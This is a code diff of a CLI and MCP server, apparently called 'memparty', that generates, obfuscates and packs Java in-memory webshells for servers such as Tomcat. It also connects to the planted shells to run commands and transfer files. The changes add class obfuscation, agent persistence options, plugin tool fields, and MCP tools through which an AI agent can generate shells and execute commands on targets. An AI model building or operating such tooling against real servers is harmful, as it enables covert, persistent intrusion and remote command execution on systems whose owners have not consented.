+ choices: [
4293
+ { name: "shrink bytecode", value: "shrink", checked: true },
4294
+ { name: "static initialize", value: "staticInitialize", checked: true },
4295
+ { name: "bypass Java module", value: "byPassJavaModule" },
4296
+ { name: "lambda suffix", value: "lambdaSuffix" },
4297
+ { name: "debug", value: "debug" },
4298
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
4299
+ ]
4300
+ });
4301
+ opts.shrink = toggles.includes("shrink");
4302
+ opts.staticInitialize = toggles.includes("staticInitialize");
4303
+ opts.byPassJavaModule = toggles.includes("byPassJavaModule");
4304
+ opts.lambdaSuffix = toggles.includes("lambdaSuffix");
4305
+ opts.debug = toggles.includes("debug");
4306
+ opts.obfuscate = toggles.includes("obfuscate");
4307
+ const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
4308
+ if (!confirmed) {
4309
+ throw new Error("Cancelled by user.");
4310
+ }
4311
+ return opts;
4312
+ }
4313
+ async function promptToolParam(param, autoSelectFirst = false) {
4314
+ const label = param.label || param.name;
4315
+ if (param.ui?.kind === "remote-select") {
4316
+ const defaultSource = process.env[param.ui.urlQueryParam] ?? "";
4317
+ const sourceUrl = defaultSource || await input({
4318
+ message: `${label}: remote options URL (${param.ui.urlQueryParam})${param.ui.required ? "" : " (optional)"}`,
4319
+ default: defaultSource
4320
+ });
4321
+ if (!sourceUrl) return void 0;
4322
+ const controller = new AbortController();
4323
+ const timer = setTimeout(() => controller.abort(), 3e4);
4324
+ try {
4325
+ const options = await fetchRemoteOptions(
4326
+ sourceUrl,
4327
+ param.ui,
4328
+ param.type === "object",
4329
+ globalThis.fetch,
4330
+ controller.signal
4331
+ );
4332
+ if (options.length === 0) throw new Error(`No remote options returned for ${param.name}.`);
4333
+ if (autoSelectFirst) return options[0].value;
4334
+ const selected = await select({
4335
+ message: label,
4336
+ choices: options.map((option, index) => ({ name: option.label, value: String(index) }))
4337
+ });
4338
+ return options[Number(selected)].value;
4339
+ } finally {
4340
+ clearTimeout(timer);
4341
+ }
4342
+ }
4343
+ if (param.type === "object") {
4344
+ const raw = await input({ message: `${label} (JSON object, optional)`, default: "" });
4345
+ if (!raw) return void 0;
4346
+ let value;
4347
+ try {
4348
+ value = JSON.parse(raw);
4349
+ } catch (err) {
4350
+ throw new Error(`${param.name} must be valid JSON: ${err.message}`);
4351
+ }
4352
+ if (typeof value !== "object" || value === null || Array.isArray(value)) {
4353
+ throw new Error(`${param.name} must be a JSON object.`);
4354
+ }
4355
+ return value;
4356
+ }
4357
+ if (param.type === "enum") {
4358
+ return select({
4359
+ message: label,
4360
+ choices: [
4361
+ { name: `backend default${param.placeholder ? ` (${param.placeholder})` : ""}`, value: "" },
4362
+ ...param.options.map((option) => ({ name: option, value: option }))
4363
+ ]
4364
+ });
4365
+ }
4366
+ if (param.name === "shellClassBase64") {
4367
+ const file = await input({ message: "Path to custom .class file" });
4368
+ return file ? readFileSync7(file).toString("base64") : void 0;
4369
+ }
4370
+ return input({ message: label, default: "", ...param.placeholder ? { placeholder: param.placeholder } : {} });
4371
+ }
4372
+ function useRandomDefaults(config) {
4373
+ return ["Godzilla", "GodzillaSession", "Behinder", "AntSword"].includes(config.tool);
4374
+ }
4375
+ async function promptLegacyToolConfig(opts, client) {
4376
+ switch (opts.shellTool) {
3812
4377
  case "Godzilla":
4378
+ case "GodzillaSession":
3813
4379
  opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
3814
4380
  opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
3815
4381
  break;
@@ -3821,14 +4387,14 @@ async function runMemShellWizard(client) {
3821
4387
  break;
3822
4388
  case "Command": {
3823
4389
  opts.commandParamName = await input({ message: "Command param name", default: "cmd" });
3824
- const cc = await client.getCommandConfigs();
4390
+ const commandConfig = await client.getCommandConfigs();
3825
4391
  opts.encryptor = await select({
3826
4392
  message: "Encryptor",
3827
- choices: cc.encryptors.map((e) => ({ name: e, value: e }))
4393
+ choices: commandConfig.encryptors.map((value) => ({ name: value, value }))
3828
4394
  });
3829
4395
  opts.implementationClass = await select({
3830
4396
  message: "Implementation class",
3831
- choices: cc.implementationClasses.map((e) => ({ name: e, value: e }))
4397
+ choices: commandConfig.implementationClasses.map((value) => ({ name: value, value }))
3832
4398
  });
3833
4399
  const template = await input({ message: "Command template (optional, {command} placeholder)", default: "" });
3834
4400
  if (template) opts.commandTemplate = template;
@@ -3836,49 +4402,33 @@ async function runMemShellWizard(client) {
3836
4402
  }
3837
4403
  case "Custom": {
3838
4404
  const file = await input({ message: "Path to custom .class file" });
3839
- opts.shellClassBase64 = readFileSync6(file).toString("base64");
4405
+ opts.shellClassBase64 = readFileSync7(file).toString("base64");
3840
4406
  break;
3841
4407
  }
3842
- default:
3843
- break;
3844
4408
  }
3845
4409
  opts.headerName = await input({ message: "Header name", default: "User-Agent" });
3846
4410
  const headerValue = await input({ message: "Header value (optional)", default: "" });
3847
4411
  if (headerValue) opts.headerValue = headerValue;
3848
- const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" });
3849
- if (shellClassName) opts.shellClassName = shellClassName;
3850
- opts.urlPattern = await input({ message: "URL pattern", default: "/*" });
3851
- const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES });
3852
- if (jdk) opts.jdk = jdk;
3853
- const toggles = await checkbox({
3854
- message: "Options",
3855
- choices: [
3856
- { name: "shrink bytecode", value: "shrink", checked: true },
3857
- { name: "static initialize", value: "staticInitialize", checked: true },
3858
- { name: "bypass Java module", value: "byPassJavaModule" },
3859
- { name: "lambda suffix", value: "lambdaSuffix" },
3860
- { name: "debug", value: "debug" }
3861
- ]
3862
- });
3863
- opts.shrink = toggles.includes("shrink");
3864
- opts.staticInitialize = toggles.includes("staticInitialize");
3865
- opts.byPassJavaModule = toggles.includes("byPassJavaModule");
3866
- opts.lambdaSuffix = toggles.includes("lambdaSuffix");
3867
- opts.debug = toggles.includes("debug");
3868
- const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
3869
- if (!confirmed) {
3870
- throw new Error("Cancelled by user.");
3871
- }
3872
- return opts;
3873
4412
  }
3874
4413
 
3875
4414
  // src/commands/gen.ts
3876
4415
  var REQUIRED = ["server", "tool", "type", "packer"];
3877
- function toOptions(o) {
4416
+ async function toOptions(o, client) {
3878
4417
  let shellClassBase64 = o.shellClassBase64;
3879
4418
  if (o.shellClassFile) {
3880
- shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
3881
- }
4419
+ shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
4420
+ }
4421
+ const hasPluginOptions = (o.toolOption?.length ?? 0) > 0 || o.toolConfig !== void 0;
4422
+ const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
4423
+ const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === o.tool)?.params : void 0;
4424
+ const fromFile = o.toolConfig === void 0 ? {} : parseToolConfigFile(
4425
+ o.toolConfig.trimStart().startsWith("{") ? o.toolConfig : readFileSync8(o.toolConfig, "utf8"),
4426
+ shellToolParams
4427
+ );
4428
+ const shellToolConfig = {
4429
+ ...fromFile,
4430
+ ...parseShellToolConfig(o.toolOption, shellToolParams)
4431
+ };
3882
4432
  return {
3883
4433
  server: o.server,
3884
4434
  serverVersion: o.serverVersion,
@@ -3891,7 +4441,12 @@ function toOptions(o) {
3891
4441
  shrink: o.shrink,
3892
4442
  lambdaSuffix: o.lambdaSuffix,
3893
4443
  probe: o.probe,
4444
+ obfuscate: o.obfuscate,
4445
+ obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
4446
+ obfuscationScope: o.obfuscationScope,
3894
4447
  shellClassName: o.shellClassName,
4448
+ shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
4449
+ shellToolParams,
3895
4450
  godzillaPass: o.godzillaPass,
3896
4451
  godzillaKey: o.godzillaKey,
3897
4452
  behinderPass: o.behinderPass,
@@ -3909,7 +4464,19 @@ function toOptions(o) {
3909
4464
  };
3910
4465
  }
3911
4466
  function registerGenCommand(program) {
3912
- program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4467
+ program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
4468
+ new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
4469
+ "ALL",
4470
+ "MEMSHELL_INJECTOR",
4471
+ "INJECTOR",
4472
+ "MEMSHELL"
4473
+ ])
4474
+ ).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option(
4475
+ "--tool-option <name=value>",
4476
+ "shell-tool-specific option; repeat for multiple fields; object values use JSON (v3.1+)",
4477
+ (value, previous = []) => [...previous, value],
4478
+ []
4479
+ ).option("--tool-config <json|path>", "shell-tool options as a JSON object or a JSON file path").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
3913
4480
  "after",
3914
4481
  `
3915
4482
  Examples:
@@ -3921,13 +4488,19 @@ Examples:
3921
4488
  $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
3922
4489
  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
3923
4490
  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
4491
+ $ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
4492
+ $ memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \\
4493
+ --tool-option profile='{"id":"web-1","name":"Web"}' --tool-option mode=fast
3924
4494
 
3925
4495
  Note: run 'memparty config' to list the available servers, tools, shell
3926
- types and packers. Some packers (e.g. Base64) are aggregate packers that
3927
- return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
3928
- for a single payload (-o refuses aggregate results). The --json output
3929
- includes the gate header (shellToolConfig) you need for
4496
+ types and packers. On v3, parent packers are categories \u2014 pick a concrete
4497
+ variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
4498
+ support aggregate packers, but -o cannot write several variants to one file.
4499
+ The --json output includes the gate header (shellToolConfig) you need for
3930
4500
  'memparty connect' / 'memparty exec'.
4501
+ Use 'memparty config tool-configs' to discover plugin string, enum and object
4502
+ fields. --tool-config can be an inline JSON object or a path to a JSON file.
4503
+ Repeated --tool-option values override matching keys from --tool-config.
3931
4504
  `
3932
4505
  ).action(async (opts, cmd) => {
3933
4506
  const client = createClient(cmd.optsWithGlobals());
@@ -3943,9 +4516,15 @@ includes the gate header (shellToolConfig) you need for
3943
4516
  `Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. Run in a terminal for the wizard, or pass -i.`
3944
4517
  );
3945
4518
  }
3946
- memOpts = toOptions(opts);
4519
+ memOpts = await toOptions(opts, client);
3947
4520
  }
3948
4521
  const request = buildMemShellRequest(memOpts);
4522
+ const { agentArgs } = opts;
4523
+ if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
4524
+ throw new Error(
4525
+ "--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
4526
+ );
4527
+ }
3949
4528
  const genMeta = {
3950
4529
  server: memOpts.server,
3951
4530
  serverVersion: memOpts.serverVersion,
@@ -3979,7 +4558,11 @@ includes the gate header (shellToolConfig) you need for
3979
4558
  });
3980
4559
  if (opts.json) {
3981
4560
  const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
3982
- const doc = outputFile === void 0 ? response : { ...response, outputFile };
4561
+ const doc = {
4562
+ ...response,
4563
+ ...outputFile === void 0 ? {} : { outputFile },
4564
+ ...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
4565
+ };
3983
4566
  process.stdout.write(`${JSON.stringify(doc, null, 2)}
3984
4567
  `);
3985
4568
  return;
@@ -4008,14 +4591,17 @@ includes the gate header (shellToolConfig) you need for
4008
4591
  if (result.destination !== "stdout") {
4009
4592
  logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
4010
4593
  }
4594
+ if (agentArgs !== void 0) {
4595
+ for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
4596
+ }
4011
4597
  });
4012
4598
  }
4013
4599
 
4014
4600
  // src/commands/log.ts
4015
- import { Option as Option4 } from "commander";
4601
+ import { Option as Option5 } from "commander";
4016
4602
  function registerLogCommand(program) {
4017
4603
  program.command("log").description("Show the global operation log").addOption(
4018
- new Option4("--category <name>", "filter by operation category").choices([
4604
+ new Option5("--category <name>", "filter by operation category").choices([
4019
4605
  "gen",
4020
4606
  "probe",
4021
4607
  "connect",
@@ -4070,7 +4656,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
4070
4656
  import { z } from "zod";
4071
4657
 
4072
4658
  // src/core/localfile.ts
4073
- import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
4659
+ import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
4074
4660
  import { dirname as dirname3, join as join6, resolve } from "path";
4075
4661
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
4076
4662
  function remoteBasename(remotePath) {
@@ -4126,7 +4712,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
4126
4712
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
4127
4713
  );
4128
4714
  }
4129
- return readFileSync8(localPath);
4715
+ return readFileSync9(localPath);
4130
4716
  }
4131
4717
 
4132
4718
  // src/version.ts
@@ -4159,13 +4745,20 @@ var memShellInput = {
4159
4745
  shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
4160
4746
  shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
4161
4747
  packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
4162
- jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
4748
+ jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
4163
4749
  debug: z.boolean().optional(),
4164
4750
  byPassJavaModule: z.boolean().optional(),
4165
4751
  shrink: z.boolean().optional(),
4166
4752
  lambdaSuffix: z.boolean().optional(),
4167
4753
  probe: z.boolean().optional(),
4754
+ obfuscate: z.boolean().optional(),
4755
+ obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
4756
+ obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
4168
4757
  shellClassName: z.string().optional(),
4758
+ toolOptions: z.record(z.union([z.string(), z.record(z.unknown())])).optional().describe(
4759
+ "Additional shell-tool fields from list_shell_tool_configs, including plugin fields. String/enum fields use strings; v3.1+ object fields use JSON objects. These override matching built-in convenience arguments."
4760
+ ),
4761
+ toolOptionJson: z.record(z.string()).optional().describe("String-encoded shell-tool fields (name -> value); object fields contain JSON text."),
4169
4762
  godzillaPass: z.string().optional(),
4170
4763
  godzillaKey: z.string().optional(),
4171
4764
  behinderPass: z.string().optional(),
@@ -4180,19 +4773,22 @@ var memShellInput = {
4180
4773
  urlPattern: z.string().optional(),
4181
4774
  injectorClassName: z.string().optional(),
4182
4775
  staticInitialize: z.boolean().optional(),
4776
+ agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
4183
4777
  outputFile: z.string().optional().describe(
4184
4778
  "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
4185
4779
  )
4186
4780
  };
4187
4781
  var probeInput = {
4188
- probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
4189
- probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
4782
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
4783
+ probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
4190
4784
  packer: z.string(),
4191
4785
  jdk: z.string().optional(),
4192
4786
  debug: z.boolean().optional(),
4193
4787
  byPassJavaModule: z.boolean().optional(),
4194
4788
  shrink: z.boolean().optional(),
4195
4789
  lambdaSuffix: z.boolean().optional(),
4790
+ obfuscate: z.boolean().optional(),
4791
+ obfuscationOptions: memShellInput.obfuscationOptions,
4196
4792
  staticInitialize: z.boolean().optional(),
4197
4793
  shellClassName: z.string().optional(),
4198
4794
  host: z.string().optional(),
@@ -4201,8 +4797,31 @@ var probeInput = {
4201
4797
  server: z.string().optional(),
4202
4798
  reqParamName: z.string().optional(),
4203
4799
  commandTemplate: z.string().optional(),
4800
+ respHeaderName: z.string().optional(),
4204
4801
  outputFile: memShellInput.outputFile
4205
4802
  };
4803
+ var bytecodeInput = {
4804
+ classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
4805
+ outputFile: z.string().optional().describe("also write the transformed class to this local file")
4806
+ };
4807
+ var bytecodeTransformInput = {
4808
+ ...bytecodeInput,
4809
+ packer: z.string().optional(),
4810
+ byPassJavaModule: z.boolean().optional(),
4811
+ staticInitialize: z.boolean().optional(),
4812
+ shrink: z.boolean().optional(),
4813
+ renamePackage: z.boolean().optional(),
4814
+ relocateFrom: z.string().optional(),
4815
+ relocateTo: z.string().optional(),
4816
+ entryMethod: z.string().optional(),
4817
+ newClassName: z.string().optional(),
4818
+ randomName: z.boolean().optional(),
4819
+ obfuscate: z.boolean().optional(),
4820
+ obfuscationOptions: memShellInput.obfuscationOptions,
4821
+ server: z.string().optional(),
4822
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
4823
+ respHeaderName: z.string().optional()
4824
+ };
4206
4825
  var connectInput = {
4207
4826
  name: z.string().optional().describe(
4208
4827
  "saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
@@ -4215,7 +4834,8 @@ var connectInput = {
4215
4834
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
4216
4835
  suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
4217
4836
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4218
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
4837
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
4838
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
4219
4839
  };
4220
4840
  var execInput = {
4221
4841
  name: z.string().optional().describe(
@@ -4232,7 +4852,8 @@ var execInput = {
4232
4852
  headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
4233
4853
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
4234
4854
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4235
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
4855
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
4856
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
4236
4857
  };
4237
4858
  var transferConnInput = {
4238
4859
  name: execInput.name,
@@ -4244,6 +4865,7 @@ var transferConnInput = {
4244
4865
  headerValue: execInput.headerValue,
4245
4866
  insecure: execInput.insecure,
4246
4867
  timeoutMs: execInput.timeoutMs,
4868
+ upgradeProtocol: execInput.upgradeProtocol,
4247
4869
  remoteCharset: z.string().optional().describe(
4248
4870
  "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
4249
4871
  )
@@ -4271,12 +4893,82 @@ var targetSaveInput = {
4271
4893
  headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
4272
4894
  headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
4273
4895
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4896
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
4274
4897
  projectRemark: z.string().optional().describe("project remark (merged into the project)"),
4275
4898
  projectCategory: z.string().optional().describe("project category (merged into the project)"),
4276
4899
  shellRemark: z.string().optional().describe("remark for this shell")
4277
4900
  };
4278
4901
  function createMcpServer(client) {
4279
4902
  const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
4903
+ server.registerTool(
4904
+ "bytecode_decode",
4905
+ {
4906
+ title: "Decode Java class",
4907
+ description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
4908
+ inputSchema: bytecodeInput
4909
+ },
4910
+ async (args) => {
4911
+ try {
4912
+ const result = await client.decodeBytecode(args.classBytesBase64);
4913
+ const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
4914
+ { packResult: result.classBytesBase64Str },
4915
+ { outFile: args.outputFile, decode: true }
4916
+ );
4917
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
4918
+ } catch (err) {
4919
+ return errorContent(err);
4920
+ }
4921
+ }
4922
+ );
4923
+ server.registerTool(
4924
+ "bytecode_transform",
4925
+ {
4926
+ title: "Transform Java class",
4927
+ description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
4928
+ inputSchema: bytecodeTransformInput
4929
+ },
4930
+ async (args) => {
4931
+ try {
4932
+ const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
4933
+ if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
4934
+ throw new Error("Package relocation requires relocateFrom and relocateTo.");
4935
+ }
4936
+ const {
4937
+ outputFile: outputPath,
4938
+ obfuscate: _obfuscate,
4939
+ obfuscationOptions,
4940
+ probeMethod,
4941
+ server: server2,
4942
+ respHeaderName,
4943
+ ...fields
4944
+ } = args;
4945
+ const request = {
4946
+ obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
4947
+ ...probeMethod === void 0 ? {} : {
4948
+ server: server2 ?? "Unknown",
4949
+ probe: {
4950
+ probeMethod,
4951
+ probeContent: "Bytecode",
4952
+ respHeaderName
4953
+ }
4954
+ }
4955
+ };
4956
+ const result = await client.transformBytecode({
4957
+ classBytesBase64: args.classBytesBase64,
4958
+ ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
4959
+ ...renamePackage ? { renamePackage } : {},
4960
+ ...request
4961
+ });
4962
+ const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
4963
+ { packResult: result.packResult ?? result.classBytesBase64Str },
4964
+ { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
4965
+ );
4966
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
4967
+ } catch (err) {
4968
+ return errorContent(err);
4969
+ }
4970
+ }
4971
+ );
4280
4972
  server.registerTool(
4281
4973
  "list_servers",
4282
4974
  { title: "List servers", description: "List supported servers and their shell types" },
@@ -4327,6 +5019,78 @@ function createMcpServer(client) {
4327
5019
  }
4328
5020
  }
4329
5021
  );
5022
+ server.registerTool(
5023
+ "list_shell_tool_configs",
5024
+ {
5025
+ title: "List shell tool configs",
5026
+ description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
5027
+ },
5028
+ async () => {
5029
+ try {
5030
+ return jsonContent(await client.getShellToolConfigs());
5031
+ } catch (err) {
5032
+ return errorContent(err);
5033
+ }
5034
+ }
5035
+ );
5036
+ server.registerTool(
5037
+ "list_plugins",
5038
+ {
5039
+ title: "List external plugins",
5040
+ description: "List v3.1+ external plugin metadata, SPI services, load status and load errors. An empty list means no plugins or a backend older than v3.1."
5041
+ },
5042
+ async () => {
5043
+ try {
5044
+ return jsonContent(await client.getPlugins());
5045
+ } catch (err) {
5046
+ return errorContent(err);
5047
+ }
5048
+ }
5049
+ );
5050
+ server.registerTool(
5051
+ "list_remote_options",
5052
+ {
5053
+ title: "Resolve remote shell tool options",
5054
+ description: "Fetch and normalize a v3.1 remote-select field. Returns labels and string IDs or complete objects ready to pass to generate_memshell toolOptions.",
5055
+ inputSchema: {
5056
+ tool: z.string(),
5057
+ param: z.string(),
5058
+ url: z.string().optional().describe("Remote HTTP(S) endpoint; falls back to the urlQueryParam environment variable."),
5059
+ object: z.boolean().optional().describe("Override object mode; normally inferred from the field type.")
5060
+ }
5061
+ },
5062
+ async (args) => {
5063
+ try {
5064
+ const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === args.tool);
5065
+ const param = descriptor?.params.find((candidate) => candidate.name === args.param);
5066
+ if (!param?.ui || param.ui.kind !== "remote-select") {
5067
+ throw new Error(`${args.tool}.${args.param} is not a remote-select shell tool option.`);
5068
+ }
5069
+ const sourceUrl = args.url ?? process.env[param.ui.urlQueryParam];
5070
+ if (!sourceUrl) {
5071
+ throw new Error(`Provide url or set the ${param.ui.urlQueryParam} environment variable.`);
5072
+ }
5073
+ const options = await fetchRemoteOptions(sourceUrl, param.ui, args.object ?? param.type === "object");
5074
+ return jsonContent({ tool: args.tool, param: args.param, sourceUrl, options });
5075
+ } catch (err) {
5076
+ return errorContent(err);
5077
+ }
5078
+ }
5079
+ );
5080
+ server.registerTool(
5081
+ "list_obfuscation_options",
5082
+ {
5083
+ title: "List obfuscation options",
5084
+ description: "List class obfuscation option keys, defaults and valid values (v3+)"
5085
+ },
5086
+ async () => {
5087
+ try {
5088
+ return jsonContent(await client.getObfuscationOptions());
5089
+ } catch (err) {
5090
+ return errorContent(err);
5091
+ }
5092
+ }
5093
+ );
4330
5094
  server.registerTool(
4331
5095
  "generate_memshell",
4332
5096
  {
@@ -4345,7 +5109,29 @@ function createMcpServer(client) {
4345
5109
  };
4346
5110
  const started = Date.now();
4347
5111
  try {
4348
- const response = await client.generateMemShell(buildMemShellRequest(args));
5112
+ if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
5113
+ throw new Error(
5114
+ "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
5115
+ );
5116
+ }
5117
